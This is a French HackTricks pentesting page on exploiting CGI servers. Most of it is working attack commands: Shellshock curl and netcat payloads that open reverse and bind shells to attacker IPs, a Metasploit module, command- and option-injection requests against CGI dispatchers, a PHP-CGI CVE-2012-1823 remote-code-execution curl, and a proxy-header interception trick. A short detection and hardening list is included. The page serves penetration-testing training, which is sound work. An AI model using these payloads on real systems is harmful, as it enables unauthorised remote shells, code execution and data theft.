CGI Pentesting

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Information

Les CGI scripts sont des scripts perl, donc, si vous avez compromis un serveur capable d’exécuter des scripts .cgi vous pouvez upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), changer l’extension de .pl à .cgi, donner les permissions d’exécution (chmod +x) et accéder au reverse shell depuis le navigateur pour l’exécuter. Pour tester les CGI vulns il est recommandé d’utiliser nikto -C all (et tous les plugins)

ShellShock

ShellShock est une vulnérabilité qui affecte l’interpréteur de commandes Bash largement utilisé dans les systèmes d’exploitation Unix-like. Elle cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des variables d’environnement, qui sont des valeurs nommées dynamiques influençant l’exécution des processus sur un ordinateur. Les attaquants peuvent exploiter ceci en attachant du code malveillant aux variables d’environnement, lequel est exécuté lors de la réception de la variable. Cela permet potentiellement aux attaquants de compromettre le système.

En exploitant cette vulnérabilité, la page peut renvoyer une erreur.

Vous pouvez trouver cette vulnérabilité en remarquant qu’elle utilise une ancienne version d’Apache et cgi_mod (avec dossier cgi) ou en utilisant nikto.

Test

La plupart des tests consistent à utiliser echo pour afficher quelque chose et s’attendre à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu’une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (réfléchi, aveugle et hors-bande)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Dispatchers CGI centralisés (single endpoint routing via selector parameters)

De nombreuses interfaces web embarquées multiplexent des dizaines d’actions privilégiées derrière un seul endpoint CGI (par exemple, /cgi-bin/cstecgi.cgi) et utilisent un paramètre sélecteur tel que topicurl=<handler> pour router la requête vers une fonction interne.

Méthodologie pour exploiter ces routers :

  • Énumérer les noms de handler : scraper JS/HTML, brute-force avec des wordlists, ou unpacker le firmware et grepper les handler strings utilisées par le dispatcher.
  • Tester la reachabilité sans authentification : certains handlers oublient les auth checks et sont appelables directement.
  • Se concentrer sur les handlers qui invoquent des system utilities ou touch files ; de faibles validators n’interdisent souvent que quelques caractères et peuvent manquer le tiret initial -.

Formes d’exploit génériques :

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Détection et durcissement :

  • Surveillez les requêtes non authentifiées vers les endpoints CGI centralisés avec topicurl pointant vers des handlers sensibles.
  • Signalez les paramètres qui commencent par - (tentatives d’injection d’options argv).
  • Fournisseurs : exiger l’authentification sur tous les handlers modifiant l’état, valider en utilisant des allowlists/types/lengths stricts, et ne jamais passer des chaînes contrôlées par l’utilisateur comme flags de la ligne de commande.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

En pratique, si cgi est actif et php est “ancien” (<5.3.12 / < 5.4.2) vous pouvez exécuter du code. Pour exploiter cette vulnérabilité, il faut accéder à un fichier PHP du serveur web sans envoyer de paramètres (en particulier sans envoyer le caractère “=”). Pour tester, vous pouvez accéder par exemple à /index.php?-s (notez le -s) et le code source de l’application apparaîtra dans la réponse.

Pour obtenir ensuite une RCE vous pouvez envoyer cette requête spéciale : /?-d allow_url_include=1 -d auto_prepend_file=php://input et le code PHP à exécuter dans le corps de la requête. Exemple :

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Plus d’infos sur la vuln et les exploits possibles : https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM vers les requêtes du serveur Web)

CGI crée une variable d’environnement pour chaque en-tête dans la requête HTTP. Par exemple : “host:web.com” devient “HTTP_HOST”=“web.com”

Comme la variable HTTP_PROXY peut être utilisée par le serveur web. Essayez d’envoyer un en-tête contenant : “Proxy: <IP_attacker>:<PORT>” et si le serveur effectue une quelconque requête pendant la session, vous pourrez capturer chaque requête effectuée par le serveur.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks